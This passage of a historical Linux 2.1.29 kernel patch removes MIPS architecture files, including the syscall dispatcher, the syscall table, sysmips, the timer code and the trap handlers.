regs->reg5; - if (!newsp) - newsp = regs->reg29; - ret = do_fork(clone_flags, newsp, regs); - unlock_kernel(); - return ret; -} - -/* - * sys_execve() executes a new program. - */ -asmlinkage int sys_execve(struct pt_regs *regs) -{ - int error; - char * filename; - - lock_kernel(); - error = getname((char *) regs->reg4, &filename); - if (error) - goto out; - error = do_execve(filename, (char **) regs->reg5, - (char **) regs->reg6, regs); - putname(filename); -out: - unlock_kernel(); - return error; -} - -/* - * Do the indirect syscall syscall. - */ -asmlinkage int sys_syscall(unsigned long a0, unsigned long a1, unsigned long a2, - unsigned long a3, unsigned long a4, unsigned long a5, - unsigned long a6) -{ - syscall_t syscall; - - if (a0 > __NR_Linux + __NR_Linux_syscalls) - return -ENOSYS; - - syscall = sys_call_table[a0]; - /* - * Prevent stack overflow by recursive - * syscall(__NR_syscall, __NR_syscall,...); - */ - if (syscall == (syscall_t) sys_syscall) - return -EINVAL; - - if (syscall == NULL) - return -ENOSYS; - - return syscall((void *)a0, a1, a2, a3, a4, a5, a6); -} - -void do_sys(struct pt_regs *regs) -{ - unsigned long syscallnr, usp; - syscall_t syscall; - int errno, narg; - - /* - * Compute the return address; - */ - if (regs->cp0_cause & CAUSEF_BD) - { - /* - * This syscall is in a branch delay slot. Since we don't do - * branch delay slot handling we would get a process trying - * to do syscalls ever and ever again. So better zap it. - */ - printk("%s: syscall in branch delay slot.\n", current->comm); - current->sig->action[SIGILL-1].sa_handler = NULL; - current->blocked &= ~(1<<(SIGILL-1)); - send_sig(SIGILL, current, 1); - return; - } - regs->cp0_epc += 4; - - syscallnr = regs->reg2; - if (syscallnr > (__NR_Linux + __NR_Linux_syscalls)) - goto illegal_syscall; - - syscall = sys_call_table[syscallnr]; - if (syscall == NULL) - goto illegal_syscall; - - narg = sys_narg_table[syscallnr]; - if (narg > 4) - { - /* - * Verify that we can safely get the additional parameters - * from the user stack. Of course I could read the params - * from unaligned addresses ... Consider this a programming - * course caliber .45. - */ - usp = regs->reg29; - if (usp & 3) - { - printk("unaligned usp\n"); - send_sig(SIGSEGV, current, 1); - regs->reg2 = EFAULT; - regs->reg7 = 1; - return; - } - errno = verify_area(VERIFY_READ, (void *) (usp + 16), - (narg - 4) * sizeof(unsigned long)); - if (errno < 0) - goto bad_syscall; - } - - if ((current->flags & PF_TRACESYS) == 0) - { - errno = do_syscalls(regs, syscall, narg); - if (errno < 0 || current->errno) - goto bad_syscall; - - regs->reg2 = errno; - regs->reg7 = 0; - } - else - { - syscall_trace(); - - errno = do_syscalls(regs, syscall, narg); - if (errno < 0 || current->errno) - { - regs->reg2 = -errno; - regs->reg7 = 1; - } - else - { - regs->reg2 = errno; - regs->reg7 = 0; - } - - syscall_trace(); - } - return; - -bad_syscall: - regs->reg2 = -errno; - regs->reg7 = 1; - return; -illegal_syscall: - regs->reg2 = ENOSYS; - regs->reg7 = 1; - return; -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/syscalls.h linux/arch/mips/kernel/syscalls.h --- linux-2.1.29/arch/mips/kernel/syscalls.h Wed Dec 13 05:39:44 1995 +++ linux/arch/mips/kernel/syscalls.h Wed Dec 31 19:00:00 1969 @@ -1,176 +0,0 @@ -/* - * List of Linux/MIPS syscalls. - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ - -/* - * This file is being included twice - once to build a list of all - * syscalls and once to build a table of how many arguments each syscall - * accepts. Syscalls that receive a pointer to the saved registers are - * marked as having zero arguments. - * - * The binary compatibility calls are still missing in this list. - */ -SYS(sys_syscall, 7) /* 4000 */ -SYS(sys_exit, 1) -SYS(sys_fork, 0) -SYS(sys_read, 3) -SYS(sys_write, 3) -SYS(sys_open, 3) /* 4005 */ -SYS(sys_close, 3) -SYS(sys_waitpid, 3) -SYS(sys_creat, 2) -SYS(sys_link, 2) -SYS(sys_unlink, 1) /* 4010 */ -SYS(sys_execve, 0) -SYS(sys_chdir, 1) -SYS(sys_time, 1) -SYS(sys_mknod, 3) -SYS(sys_chmod, 2) /* 4015 */ -SYS(sys_chown, 3) -SYS(sys_break, 0) -SYS(sys_stat, 2) -SYS(sys_lseek, 3) -SYS(sys_getpid, 0) /* 4020 */ -SYS(sys_mount, 5) -SYS(sys_umount, 1) -SYS(sys_setuid, 1) -SYS(sys_getuid, 0) -SYS(sys_stime, 1) /* 4025 */ -SYS(sys_ptrace, 4) -SYS(sys_alarm, 1) -SYS(sys_fstat, 2) -SYS(sys_pause, 0) -SYS(sys_utime, 2) /* 4030 */ -SYS(sys_stty, 0) -SYS(sys_gtty, 0) -SYS(sys_access, 2) -SYS(sys_nice, 1) -SYS(sys_ftime, 0) /* 4035 */ -SYS(sys_sync, 0) -SYS(sys_kill, 2) -SYS(sys_rename, 2) -SYS(sys_mkdir, 2) -SYS(sys_rmdir, 1) /* 4040 */ -SYS(sys_dup, 1) -SYS(sys_pipe, 0) -SYS(sys_times, 1) -SYS(sys_prof, 0) -SYS(sys_brk, 1) /* 4045 */ -SYS(sys_setgid, 1) -SYS(sys_getgid, 0) -SYS(sys_signal, 2) -SYS(sys_geteuid, 0) -SYS(sys_getegid, 0) /* 4050 */ -SYS(sys_acct, 0) -SYS(sys_phys, 0) -SYS(sys_lock, 0) -SYS(sys_ioctl, 3) -SYS(sys_fcntl, 3) /* 4055 */ -SYS(sys_mpx, 2) -SYS(sys_setpgid, 2) -SYS(sys_ulimit, 0) -SYS(sys_olduname, 1) -SYS(sys_umask, 1) /* 4060 */ -SYS(sys_chroot, 1) -SYS(sys_ustat, 2) -SYS(sys_dup2, 2) -SYS(sys_getppid, 0) -SYS(sys_getpgrp, 0) /* 4065 */ -SYS(sys_setsid, 0) -SYS(sys_sigaction, 3) -SYS(sys_sgetmask, 0) -SYS(sys_ssetmask, 1) -SYS(sys_setreuid, 2) /* 4070 */ -SYS(sys_setregid, 2) -SYS(sys_sigsuspend, 3) -SYS(sys_sigpending, 1) -SYS(sys_sethostname, 2) -SYS(sys_setrlimit, 2) /* 4075 */ -SYS(sys_getrlimit, 2) -SYS(sys_getrusage, 2) -SYS(sys_gettimeofday, 2) -SYS(sys_settimeofday, 2) -SYS(sys_getgroups, 2) /* 4080 */ -SYS(sys_setgroups, 2) -SYS(sys_ni_syscall, 0) /* old_select */ -SYS(sys_symlink, 2) -SYS(sys_lstat, 2) -SYS(sys_readlink, 3) /* 4085 */ -SYS(sys_uselib, 1) -SYS(sys_swapon, 2) -SYS(sys_reboot, 3) -SYS(old_readdir, 3) -SYS(sys_mmap, 6) /* 4090 */ -SYS(sys_munmap, 2) -SYS(sys_truncate, 2) -SYS(sys_ftruncate, 2) -SYS(sys_fchmod, 2) -SYS(sys_fchown, 3) /* 4095 */ -SYS(sys_getpriority, 2) -SYS(sys_setpriority, 3) -SYS(sys_profil, 0) -SYS(sys_statfs, 2) -SYS(sys_fstatfs, 2) /* 4100 */ -SYS(sys_ioperm, 3) -SYS(sys_socketcall, 2) -SYS(sys_syslog, 3) -SYS(sys_setitimer, 3) -SYS(sys_getitimer, 2) /* 4105 */ -SYS(sys_newstat, 2) -SYS(sys_newlstat, 2) -SYS(sys_newfstat, 2) -SYS(sys_uname, 1) -SYS(sys_iopl, 0) /* Well, actually 17 args ... */ /* 4110 */ -SYS(sys_vhangup, 0) -SYS(sys_idle, 0) -SYS(sys_vm86, 1) -SYS(sys_wait4, 4) -SYS(sys_swapoff, 1) /* 4115 */ -SYS(sys_sysinfo, 1) -SYS(sys_ipc, 6) -SYS(sys_fsync, 1) -SYS(sys_sigreturn, 0) -SYS(sys_clone, 0) /* 4120 */ -SYS(sys_setdomainname, 2) -SYS(sys_newuname, 1) -SYS(sys_ni_syscall, 0) /* sys_modify_ldt */ -SYS(sys_adjtimex, 1) -SYS(sys_mprotect, 3) /* 4125 */ -SYS(sys_sigprocmask, 3) -SYS(sys_create_module, 2) -SYS(sys_init_module, 5) -SYS(sys_delete_module, 1) -SYS(sys_get_kernel_syms, 1) /* 4130 */ -SYS(sys_quotactl, 0) -SYS(sys_getpgid, 1) -SYS(sys_fchdir, 1) -SYS(sys_bdflush, 2) -SYS(sys_sysfs, 3) /* 4135 */ -SYS(sys_personality, 1) -SYS(sys_ni_syscall, 0) /* for afs_syscall */ -SYS(sys_setfsuid, 1) -SYS(sys_setfsgid, 1) -SYS(sys_llseek, 5) /* 4140 */ -SYS(sys_getdents, 3) -SYS(sys_select, 5) -SYS(sys_flock, 2) -SYS(sys_msync, 3) -SYS(sys_readv, 3) /* 4145 */ -SYS(sys_writev, 3) -SYS(sys_cacheflush, 3) -SYS(sys_cachectl, 3) -SYS(sys_sysmips, 4) -SYS(sys_setup, 0) /* 4150 */ -SYS(sys_getsid, 1) -SYS(sys_ni_syscall, 0) -SYS(sys_ni_syscall, 0) -SYS(sys_mlock, 2) -SYS(sys_munlock, 2) /* 4155 */ -SYS(sys_mlockall, 1) -SYS(sys_munlockall, 0) diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/sysmips.c linux/arch/mips/kernel/sysmips.c --- linux-2.1.29/arch/mips/kernel/sysmips.c Sat May 10 18:17:09 1997 +++ linux/arch/mips/kernel/sysmips.c Wed Dec 31 19:00:00 1969 @@ -1,114 +0,0 @@ -/* - * MIPS specific syscalls - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include - -static inline size_t -strnlen_user(const char *s, size_t count) -{ - return strnlen(s, count); -} - -/* - * How long a hostname can we get from user space? - * -EFAULT if invalid area or too long - * 0 if ok - * >0 EFAULT after xx bytes - */ -static inline int -get_max_hostname(unsigned long address) -{ - struct vm_area_struct * vma; - - vma = find_vma(current, address); - if (!vma || vma->vm_start > address || !(vma->vm_flags & VM_READ)) - return -EFAULT; - address = vma->vm_end - address; - if (address > PAGE_SIZE) - return 0; - if (vma->vm_next && vma->vm_next->vm_start == vma->vm_end && - (vma->vm_next->vm_flags & VM_READ)) - return 0; - return address; -} - -asmlinkage int -sys_sysmips(int cmd, int arg1, int arg2, int arg3) -{ - int *p; - char *name; - int flags, len, retval = -EINVAL; - - lock_kernel(); - switch(cmd) - { - case SETNAME: - retval = -EPERM; - if (!suser()) - goto out; - name = (char *) arg1; - len = get_max_hostname((unsigned long)name); - retval = len; - if (len < 0) - goto out; - len = strnlen_user(name, retval); - retval = -EINVAL; - if (len == 0 || len > __NEW_UTS_LEN) - goto out; - memcpy_fromfs(system_utsname.nodename, name, len); - system_utsname.nodename[len] = '\0'; - retval = 0; - goto out; - case MIPS_ATOMIC_SET: - p = (int *) arg1; - retval = -EINVAL; - if(verify_area(VERIFY_WRITE, p, sizeof(*p))) - goto out; - save_flags(flags); - cli(); - retval = *p; - *p = arg2; - restore_flags(flags); - goto out; - case MIPS_FIXADE: - if (arg1) - current->tss.mflags |= MF_FIXADE; - else - current->tss.mflags |= MF_FIXADE; - retval = 0; - goto out; - case FLUSH_CACHE: - sys_cacheflush(0, ~0, BCACHE); - retval = 0; - goto out; - } -out: - unlock_kernel(); - return retval; -} - -/* - * No implemented yet ... - */ -asmlinkage int -sys_cachectl(char *addr, int nbytes, int op) -{ - return -ENOSYS; -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/time.c linux/arch/mips/kernel/time.c --- linux-2.1.29/arch/mips/kernel/time.c Mon May 6 05:26:03 1996 +++ linux/arch/mips/kernel/time.c Wed Dec 31 19:00:00 1969 @@ -1,286 +0,0 @@ -/* - * linux/arch/mips/kernel/time.c - * - * Copyright (C) 1991, 1992, 1995 Linus Torvalds - * - * This file contains the time handling details for PC-style clocks as - * found in some MIPS systems. - */ -#include -#include -#include -#include -#include -#include - -#include -#include - -#include -#include - -#define TIMER_IRQ 0 - -/* This function must be called with interrupts disabled - * It was inspired by Steve McCanne's microtime-i386 for BSD. -- jrs - * - * However, the pc-audio speaker driver changes the divisor so that - * it gets interrupted rather more often - it loads 64 into the - * counter rather than 11932! This has an adverse impact on - * do_gettimeoffset() -- it stops working! What is also not - * good is that the interval that our timer function gets called - * is no longer 10.0002 ms, but 9.9767 ms. To get around this - * would require using a different timing source. Maybe someone - * could use the RTC - I know that this can interrupt at frequencies - * ranging from 8192Hz to 2Hz. If I had the energy, I'd somehow fix - * it so that at startup, the timer code in sched.c would select - * using either the RTC or the 8253 timer. The decision would be - * based on whether there was any other device around that needed - * to trample on the 8253. I'd set up the RTC to interrupt at 1024 Hz, - * and then do some jiggery to have a version of do_timer that - * advanced the clock by 1/1024 s. Every time that reached over 1/100 - * of a second, then do all the old code. If the time was kept correct - * then do_gettimeoffset could just return 0 - there is no low order - * divider that can be accessed. - * - * Ideally, you would be able to use the RTC for the speaker driver, - * but it appears that the speaker driver really needs interrupt more - * often than every 120 us or so. - * - * Anyway, this needs more thought.... pjsg (1993-08-28) - * - * If you are really that interested, you should be reading - * comp.protocols.time.ntp! - */ - -#define TICK_SIZE tick - -static unsigned long do_slow_gettimeoffset(void) -{ - int count; - unsigned long offset = 0; - - /* timer count may underflow right here */ - outb_p(0x00, 0x43); /* latch the count ASAP */ - count = inb_p(0x40); /* read the latched count */ - count |= inb(0x40) << 8; - /* we know probability of underflow is always MUCH less than 1% */ - if (count > (LATCH - LATCH/100)) { - /* check for pending timer interrupt */ - outb_p(0x0a, 0x20); - if (inb(0x20) & 1) - offset = TICK_SIZE; - } - count = ((LATCH-1) - count) * TICK_SIZE; - count = (count + LATCH/2) / LATCH; - return offset + count; -} - -static unsigned long (*do_gettimeoffset)(void) = do_slow_gettimeoffset; - -/* - * This version of gettimeofday has near microsecond resolution. - */ -void do_gettimeofday(struct timeval *tv) -{ - unsigned long flags; - - save_flags(flags); - cli(); - *tv = xtime; - tv->tv_usec += do_gettimeoffset(); - if (tv->tv_usec >= 1000000) { - tv->tv_usec -= 1000000; - tv->tv_sec++; - } - restore_flags(flags); -} - -void do_settimeofday(struct timeval *tv) -{ - cli(); - /* This is revolting. We need to set the xtime.tv_usec - * correctly. However, the value in this location is - * is value at the last tick. - * Discover what correction gettimeofday - * would have done, and then undo it! - */ - tv->tv_usec -= do_gettimeoffset(); - - if (tv->tv_usec < 0) { - tv->tv_usec += 1000000; - tv->tv_sec--; - } - - xtime = *tv; - time_state = TIME_BAD; - time_maxerror = 0x70000000; - time_esterror = 0x70000000; - sti(); -} - -/* - * In order to set the CMOS clock precisely, set_rtc_mmss has to be - * called 500 ms after the second nowtime has started, because when - * nowtime is written into the registers of the CMOS clock, it will - * jump to the next second precisely 500 ms later. Check the Motorola - * MC146818A or Dallas DS12887 data sheet for details. - */ -static int set_rtc_mmss(unsigned long nowtime) -{ - int retval = 0; - int real_seconds, real_minutes, cmos_minutes; - unsigned char save_control, save_freq_select; - - save_control = CMOS_READ(RTC_CONTROL); /* tell the clock it's being set */ - CMOS_WRITE((save_control|RTC_SET), RTC_CONTROL); - - save_freq_select = CMOS_READ(RTC_FREQ_SELECT); /* stop and reset prescaler */ - CMOS_WRITE((save_freq_select|RTC_DIV_RESET2), RTC_FREQ_SELECT); - - cmos_minutes = CMOS_READ(RTC_MINUTES); - if (!(save_control & RTC_DM_BINARY) || RTC_ALWAYS_BCD) - BCD_TO_BIN(cmos_minutes); - - /* - * since we're only adjusting minutes and seconds, - * don't interfere with hour overflow. This avoids - * messing with unknown time zones but requires your - * RTC not to be off by more than 15 minutes - */ - real_seconds = nowtime % 60; - real_minutes = nowtime / 60; - if (((abs(real_minutes - cmos_minutes) + 15)/30) & 1) - real_minutes += 30; /* correct for half hour time zone */ - real_minutes %= 60; - - if (abs(real_minutes - cmos_minutes) < 30) { - if (!(save_control & RTC_DM_BINARY) || RTC_ALWAYS_BCD) { - BIN_TO_BCD(real_seconds); - BIN_TO_BCD(real_minutes); - } - CMOS_WRITE(real_seconds,RTC_SECONDS); - CMOS_WRITE(real_minutes,RTC_MINUTES); - } else - retval = -1; - - /* The following flags have to be released exactly in this order, - * otherwise the DS12887 (popular MC146818A clone with integrated - * battery and crystal) will not reset the oscillator and will not - * update precisely 500 ms later. You won't find this mentioned in - * the Dallas Semiconductor data sheets, but who believes data - * sheets anyway ... -- Markus Kuhn - */ - CMOS_WRITE(save_control, RTC_CONTROL); - CMOS_WRITE(save_freq_select, RTC_FREQ_SELECT); - - return retval; -} - -/* last time the cmos clock got updated */ -static long last_rtc_update = 0; - -/* - * timer_interrupt() needs to keep up the real-time clock, - * as well as call the "do_timer()" routine every clocktick - */ -static void timer_interrupt(int irq, struct pt_regs * regs) -{ - do_timer(regs); - - /* - * If we have an externally synchronized Linux clock, then update - * CMOS clock accordingly every ~11 minutes. Set_rtc_mmss() has to be - * called as close as possible to 500 ms before the new second starts. - */ - if (time_state != TIME_BAD && xtime.tv_sec > last_rtc_update + 660 && - xtime.tv_usec > 500000 - (tick >> 1) && - xtime.tv_usec < 500000 + (tick >> 1)) - if (set_rtc_mmss(xtime.tv_sec) == 0) - last_rtc_update = xtime.tv_sec; - else - last_rtc_update = xtime.tv_sec - 600; /* do it again in 60 s */ - /* As we return to user mode fire off the other CPU schedulers.. this is - basically because we don't yet share IRQ's around. This message is - rigged to be safe on the 386 - basically it's a hack, so don't look - closely for now.. */ - smp_message_pass(MSG_ALL_BUT_SELF, MSG_RESCHEDULE, 0L, 0); -} - -/* Converts Gregorian date to seconds since 1970-01-01 00:00:00. - * Assumes input in normal date format, i.e. 1980-12-31 23:59:59 - * => year=1980, mon=12, day=31, hour=23, min=59, sec=59. - * - * [For the Julian calendar (which was used in Russia before 1917, - * Britain & colonies before 1752, anywhere else before 1582, - * and is still in use by some communities) leave out the - * -year/100+year/400 terms, and add 10.] - * - * This algorithm was first published by Gauss (I think). - * - * WARNING: this function will overflow on 2106-02-07 06:28:16 on - * machines were long is 32-bit! (However, as time_t is signed, we - * will already get problems at other places on 2038-01-19 03:14:08) - */ -static inline unsigned long mktime(unsigned int year, unsigned int mon, - unsigned int day, unsigned int hour, - unsigned int min, unsigned int sec) -{ - if (0 >= (int) (mon -= 2)) { /* 1..12 -> 11,12,1..10 */ - mon += 12; /* Puts Feb last since it has leap day */ - year -= 1; - } - return ((( - (unsigned long)(year/4 - year/100 + year/400 + 367*mon/12 + day) + - year*365 - 719499 - )*24 + hour /* now have hours */ - )*60 + min /* now have minutes */ - )*60 + sec; /* finally seconds */ -} - -void time_init(void) -{ - void (*irq_handler)(int, struct pt_regs *); - unsigned int year, mon, day, hour, min, sec; - int i; - - /* The Linux interpretation of the CMOS clock register contents: - * When the Update-In-Progress (UIP) flag goes from 1 to 0, the - * RTC registers show the second which has precisely just started. - * Let's hope other operating systems interpret the RTC the same way. - */ - /* read RTC exactly on falling edge of update flag */ - for (i = 0 ; i < 1000000 ; i++) /* may take up to 1 second... */ - if (CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP) - break; - for (i = 0 ; i < 1000000 ; i++) /* must try at least 2.228 ms */ - if (!(CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP)) - break; - do { /* Isn't this overkill ? UIP above should guarantee consistency */ - sec = CMOS_READ(RTC_SECONDS); - min = CMOS_READ(RTC_MINUTES); - hour = CMOS_READ(RTC_HOURS); - day = CMOS_READ(RTC_DAY_OF_MONTH); - mon = CMOS_READ(RTC_MONTH); - year = CMOS_READ(RTC_YEAR); - } while (sec != CMOS_READ(RTC_SECONDS)); - if (!(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY) || RTC_ALWAYS_BCD) - { - BCD_TO_BIN(sec); - BCD_TO_BIN(min); - BCD_TO_BIN(hour); - BCD_TO_BIN(day); - BCD_TO_BIN(mon); - BCD_TO_BIN(year); - } - if ((year += 1900) < 1970) - year += 100; - xtime.tv_sec = mktime(year, mon, day, hour, min, sec); - xtime.tv_usec = 0; - - /* FIXME: If we have the CPU hardware time counters, use them */ - irq_handler = timer_interrupt; - - if (request_irq(TIMER_IRQ, irq_handler, 0, "timer") != 0) - panic("Could not allocate timer IRQ!"); -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/traps.c linux/arch/mips/kernel/traps.c --- linux-2.1.29/arch/mips/kernel/traps.c Wed Dec 13 05:39:44 1995 +++ linux/arch/mips/kernel/traps.c Wed Dec 31 19:00:00 1969 @@ -1,424 +0,0 @@ -/* - * arch/mips/kernel/traps.c - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - */ - -/* - * 'traps.c' handles hardware traps and faults after we have saved some - * state in 'asm.s'. Currently mostly a debugging-aid, will be extended - * to mainly kill the offending process (probably by giving it a signal, - * but possibly by killing it outright if necessary). - * - * FIXME: This is the place for a fpu emulator. - */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include - -static inline void console_verbose(void) -{ - extern int console_loglevel; - console_loglevel = 15; -} - -/* - * Machine specific interrupt handlers - */ -extern asmlinkage void acer_pica_61_handle_int(void); -extern asmlinkage void decstation_handle_int(void); -extern asmlinkage void deskstation_rpc44_handle_int(void); -extern asmlinkage void deskstation_tyne_handle_int(void); -extern asmlinkage void mips_magnum_4000_handle_int(void); - -extern asmlinkage void handle_mod(void); -extern asmlinkage void handle_tlbl(void); -extern asmlinkage void handle_tlbs(void); -extern asmlinkage void handle_adel(void); -extern asmlinkage void handle_ades(void); -extern asmlinkage void handle_ibe(void); -extern asmlinkage void handle_dbe(void); -extern asmlinkage void handle_sys(void); -extern asmlinkage void handle_bp(void); -extern asmlinkage void handle_ri(void); -extern asmlinkage void handle_cpu(void); -extern asmlinkage void handle_ov(void); -extern asmlinkage void handle_tr(void); -extern asmlinkage void handle_vcei(void); -extern asmlinkage void handle_fpe(void); -extern asmlinkage void handle_vced(void); -extern asmlinkage void handle_watch(void); -extern asmlinkage void handle_reserved(void); - -static char *cpu_names[] = CPU_NAMES; - -unsigned long page_colour_mask; - -int kstack_depth_to_print = 24; - -/* - * These constant is for searching for possible module text segments. - * MODULE_RANGE is a guess of how much space is likely to be vmalloced. - */ -#define MODULE_RANGE (8*1024*1024) - -void die_if_kernel(char * str, struct pt_regs * regs, long err) -{ - int i; - int *stack; - u32 *sp, *pc, addr, module_start, module_end; - extern char start_kernel, _etext; - - if ((regs->cp0_status & (ST0_ERL|ST0_EXL)) == 0) - return; - - sp = (u32 *)regs->reg29; - pc = (u32 *)regs->cp0_epc; - - console_verbose(); - printk("%s: %08lx\n", str, err ); - - show_regs(regs); - - /* - * Dump the stack - */ - if (STACK_MAGIC != *(u32 *)current->kernel_stack_page) - printk("Corrupted stack page\n"); - printk("Process %s (pid: %d, stackpage=%08lx)\nStack: ", - current->comm, current->pid, current->kernel_stack_page); - for(i=0;i<5;i++) - printk("%08x ", *sp++); - stack = (int *) sp; - for(i=0; i < kstack_depth_to_print; i++) { - if (((u32) stack & (PAGE_SIZE -1)) == 0) - break; - if (i && ((i % 8) == 0)) - printk("\n "); - printk("%08lx ", get_user(stack++)); - } - printk("\nCall Trace: "); - stack = (int *)sp; - i = 1; - module_start = VMALLOC_START; - module_end = module_start + MODULE_RANGE; - while (((u32)stack & (PAGE_SIZE -1)) != 0) { - addr = get_user(stack++); - /* - * If the address is either in the text segment of the - * kernel, or in the region which contains vmalloc'ed - * memory, it *may* be the address of a calling - * routine; if so, print it so that someone tracing - * down the cause of the crash will be able to figure - * out the call path that was taken. - */ - if (((addr >= (u32) &start_kernel) && - (addr <= (u32) &_etext)) || - ((addr >= module_start) && (addr <= module_end))) { - if (i && ((i % 8) == 0)) - printk("\n "); - printk("%08x ", addr); - i++; - } - } - - printk("\nCode : "); - if ((!verify_area(VERIFY_READ, pc, 5 * sizeof(*pc)) || - KSEGX(pc) == KSEG0 || - KSEGX(pc) == KSEG1) && - (((unsigned long) pc & 3) == 0)) - { - for(i=0;i<5;i++) - printk("%08x ", *pc++); - printk("\n"); - } - else - printk("(Bad address in epc)\n"); -while(1); - do_exit(SIGSEGV); -} - -static void -fix_ade(struct pt_regs *regs, int write) -{ - printk("Received address error (ade%c)\n", write ? 's' : 'l'); - panic("Fixing address errors not implemented yet"); -} - -void do_adel(struct pt_regs *regs) -{ - if(current->tss.mflags & MF_FIXADE) - { - fix_ade(regs, 0); - return; - } - show_regs(regs); -while(1); - dump_tlb_nonwired(); - send_sig(SIGSEGV, current, 1); -} - -void do_ades(struct pt_regs *regs) -{ - unsigned long pc = regs->cp0_epc; - int i; - - if(current->tss.mflags & MF_FIXADE) - { - fix_ade(regs, 1); - return; - } -while(1); - for(i=0; ipid >= 2) - { - printk("Process %d\n", task[i]->pid); - dump_list_process(task[i], pc); - } - show_regs(regs); - dump_tlb_nonwired(); - send_sig(SIGSEGV, current, 1); -} - -/* - * The ibe/dbe exceptions are signaled by onboard hardware and should get - * a board specific handlers to get maximum available information. Bus - * errors are always symptom of hardware malfunction or a kernel error. - * - * FIXME: Linux/68k sends a SIGSEGV for a buserror which seems to be wrong. - * This is certainly wrong. Actually, all hardware errors (ades,adel,ibe,dbe) - * are bus errors and therefor should send a SIGBUS! (Andy) - */ -void do_ibe(struct pt_regs *regs) -{ -show_regs(regs); -while(1); - send_sig(SIGBUS, current, 1); -} - -void do_dbe(struct pt_regs *regs) -{ -show_regs(regs); -while(1); - send_sig(SIGBUS, current, 1); -} - -void do_ov(struct pt_regs *regs) -{ -show_regs(regs); -while(1); - send_sig(SIGFPE, current, 1); -} - -void do_fpe(struct pt_regs *regs) -{ -show_regs(regs); -while(1); - send_sig(SIGFPE, current, 1); -} - -void do_bp(struct pt_regs *regs) -{ -show_regs(regs); -while(1); - send_sig(SIGILL, current, 1); -} - -void do_tr(struct pt_regs *regs) -{ -show_regs(regs); -while(1); - send_sig(SIGILL, current, 1); -} - -void do_ri(struct pt_regs *regs) -{ - int i; - - for(i=0; ipid >= 2) - { - printk("Process %d\n", task[i]->pid); - dump_list_process(task[i], 0x7ffff000); - } - show_regs(regs); -while(1); - send_sig(SIGILL, current, 1); -} - -void do_cpu(struct pt_regs *regs) -{ - unsigned int cpid; - - cpid = (regs->cp0_cause >> CAUSEB_CE) & 3; - switch(cpid) - { - case 1: - regs->cp0_status |= ST0_CU1; - break; - case 0: - /* - * CPU for cp0 can only happen in user mode - */ - case 2: - case 3: - send_sig(SIGILL, current, 1); - break; - } -} - -void do_vcei(struct pt_regs *regs) -{ - /* - * Only possible on R4[04]00[SM]C. No handler because - * I don't have such a cpu. - */ - panic("Caught VCEI exception - can't handle yet\n"); -} - -void do_vced(struct pt_regs *regs) -{ - /* - * Only possible on R4[04]00[SM]C. No handler because - * I don't have such a cpu. - */ - panic("Caught VCED exception - can't handle yet\n"); -} - -void do_watch(struct pt_regs *regs) -{ - panic("Caught WATCH exception - can't handle yet\n"); -} - -void do_reserved(struct pt_regs *regs) -{ - /* - * Game over - no way to handle this if it ever occurs. - * Most probably caused by a new unknown cpu type or - * after another deadly hard/software error. - */ - panic("Caught reserved exception - can't handle.\n"); -} - -void trap_init(void) -{ - unsigned long i; - void watch_set(unsigned long, unsigned long); - - if(boot_info.machtype == MACH_MIPS_MAGNUM_4000) - EISA_bus = 1; - - /* - * Setup default vectors - */ - for (i=0;i<=31;i++) - set_except_vector(i, handle_reserved); - - /* - * Handling the following exceptions depends mostly of the cpu type - */ - switch(boot_info.cputype) { - /* - * The R10000 is in most aspects similar to the R4400. It however - * should get some special optimizations. - */ - case CPU_R10000: - write_32bit_cp0_register(CP0_FRAMEMASK, 0); - set_cp0_status(ST0_XX, ST0_XX); - page_colour_mask = 0x3000; - panic("CPU too expensive - making holiday in the ANDES!"); - break; - case CPU_R4000MC: - case CPU_R4400MC: - case CPU_R4000SC: - case CPU_R4400SC: - /* - * Handlers not implemented yet. If should ever be used - - * otherwise it's a bug in the Linux/MIPS kernel, anyway. - */ - set_except_vector(14, handle_vcei); - set_except_vector(31, handle_vced); - case CPU_R4000PC: - case CPU_R4400PC: - case CPU_R4200: - /* case CPU_R4300: */ - /* - * Use watch exception to trap on access to address zero - */ - set_except_vector(23, handle_watch); - watch_set(KSEG0, 3); - case CPU_R4600: - set_except_vector(1, handle_mod); - set_except_vector(2, handle_tlbl); - set_except_vector(3, handle_tlbs); - set_except_vector(4, handle_adel); - set_except_vector(5, handle_ades); - /* - * The following two are signaled by onboard hardware and - * should get board specific handlers to get maximum - * available information. - */ - set_except_vector(6, handle_ibe); - set_except_vector(7, handle_dbe); - - set_except_vector(8, handle_sys); - set_except_vector(9, handle_bp); - set_except_vector(10, handle_ri); - set_except_vector(11, handle_cpu); - set_except_vector(12, handle_ov); - set_except_vector(13, handle_tr); - set_except_vector(15, handle_fpe); - - /* - * Compute mask for page_colour(). This is based on the - * size of the data cache. Does the size of the icache - * need to be accounted for? - */ - i = read_32bit_cp0_register(CP0_CONFIG); - i = (i >> 26) & 7; - page_colour_mask = 1 << (12 + i); - break; - case CPU_R2000: - case CPU_R3000: - case CPU_R3000A: - case CPU_R3041: - case CPU_R3051: - case CPU_R3052: - case CPU_R3081: - case CPU_R3081E: - case CPU_R6000: - case CPU_R6000A: - case CPU_R8000: - printk("Detected unsupported CPU type %s.\n", - cpu_names[boot_info.cputype]); - panic("Can't handle CPU\n"); - break; - - case CPU_UNKNOWN: - default: - panic("Unknown CPU type"); - } - - /* - * The interrupt handler mostly depends of the board type. - */ - set_except_vector(0, feature->handle_int); -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/tyne-c.c linux/arch/mips/kernel/tyne-c.c --- linux-2.1.29/arch/mips/kernel/tyne-c.c Wed Dec 13 05:39:44 1995 +++ linux/arch/mips/kernel/tyne-c.c Wed Dec 31 19:00:00 1969 @@ -1,122 +0,0 